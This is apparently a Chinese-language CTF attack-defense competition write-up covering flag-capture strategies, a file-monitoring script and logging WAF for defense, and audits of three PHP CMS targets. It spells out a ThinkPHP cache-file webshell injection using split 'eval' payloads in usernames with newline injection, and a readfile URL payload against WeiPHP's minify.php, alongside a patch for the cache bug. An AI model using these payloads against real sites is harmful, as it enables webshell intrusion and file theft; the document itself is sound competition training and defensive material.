先放上成绩(第一名),然后开始总结17年西石油的攻防赛。
线下赛漏洞挖掘思路
No1. Getshell,然后curl flag机获取flag
No2. 代码执行 或者 命令执行漏洞来直接获取flag
No3. 高权限注入执行命令获取flag
No4. PHP对file操作的函数获取flag(url_fopen_allow=On)
堡垒机防护
linux_file_check.py
通过find -name “*.php” -mmin -3来对linux文件进行监控(已用py2实现),防止有shell传上去,在没有挖掘到漏洞的时候也可以得知大佬们的shell路径及密码;还可以根据shell来判断受到的攻击方式。
代码:
1 | #!/usr/bin/python |
PHPWaf
PHPWaf用来记录访问请求,通过分析访问请求来判断对方的攻击方式,作用是感知漏洞,判断攻击方式,从而修复漏洞。
1 |
|
waf的激活方式:
1.php.ini选项:auto_prepend_file =与auto_append_file =包含waf,需要权限较高。
2.config.php 中包含waf
3.让所有的文件都包含waf
使用waf一定要记得:看waf和cms的命名空间是否冲突,否则一包含waf则全站500.
代码审计(漏洞挖掘)
WEB1 : weiphp4.0beta_20170720_2005 | weiphp的最新版本。
WEB2 : OneThink v1.1
WEB3 : ECSHOP 20170608
先百度看下有没有现成的漏洞可以利用:
WEB1 可能存在注入,但是Seebug的漏洞看不了,然后看了下WEB1的config,还是root权限,waf和cms的命名空间冲突了,无法启用waf。很有可能是高权限注入来Getflag
WEB2 有一个前台代码执行漏洞是今年8月份提交的,也是无权查看,还有一个前台Getshell的,看了下是利用缓存文件来Getshell的。这时候主办方也给tips说漏洞和今年的thinkphp的缓存有关。
WEB1和WEB2都是基于thinkphp框架的,可能两个站点都存在这个漏洞,先做WEB2吧,上面有案例,可以做的快一点:
利用方式是注册一个账户然后登陆,cms会将登陆成功的用户记入缓存,那么创建
eval($_POST[X]);// 用户即可GETSHELL,注册不显示是否成功,注册完以后登陆发现用户不存在,多次测试后发现,用户名有长度限制,username<16。且所有登陆成功的用户都会记入同一个缓存文件。所以注册两个用户php $x=$_GET[X];和php eval($x);//
缓存文件的格式是:
1 |
|
所以需要换行,否则一直在注释里面,且需要注释掉后面的内容,否则会报错
在提交的时候URL-encode 必须勾选上再提交,否则会把换行符的url-encode当成字符串来处理。
登陆的时候也需要抓包,在用户名前面加上换行符
登陆成功则会记录在缓存文件中, eval($a);// 同理
理论上我已经拿到shell了,但是缓存文件名是什么?查阅了thinkphp的开发文档发现data_cache_key控制缓存文件名,如果不定义这个key则缓存文件名会一样。其实我当时是改了下ip看别人堡垒机上也有这个文件才知道缓存文件名一样的,这个key是后来查的。
修复方法:
1.打开文件:thinkphp\library\think\cache\driver\File.php
2.找到:public function set($name, $value, $expire = null) 方法
3.添加:$data = str_replace(PHP_EOL, '', $data);
WEB1也是基于thinkphp的会不会也有这个漏洞?
只能由字母数字_组成,估计是不行了。
WEB1代码中发现minify.php文件有问题:
通过审计发现:web1中minify文件的$f参数未经过过滤就放入了readfile,根据PHP官方文档知道
如果在 php.ini 文件中 "fopen wrappers" 已经被激活,则在本函数中可以把 URL 作为文件名来使用。
所以这里可以构造payload来试用readfile函数来读取flag。因为代码中要求读取文件的后缀必须是css或者js的,所以payload=minify.php?f=http://127.0.0.1/?a.js把a.js当作参数。最终可以达到getflag的效果。
WEB3的漏洞没审计出来。
赛后总结
waf的参数要避开cms的命名空间,否则会导致整站崩溃。
waf必须让所有php包含,否则就会像这次一样,他们抓不到我们的流量,从头到尾只有一个队抓到流量了补了洞。
以后的学习中多注意对file操作的函数,比赛中可能会用上。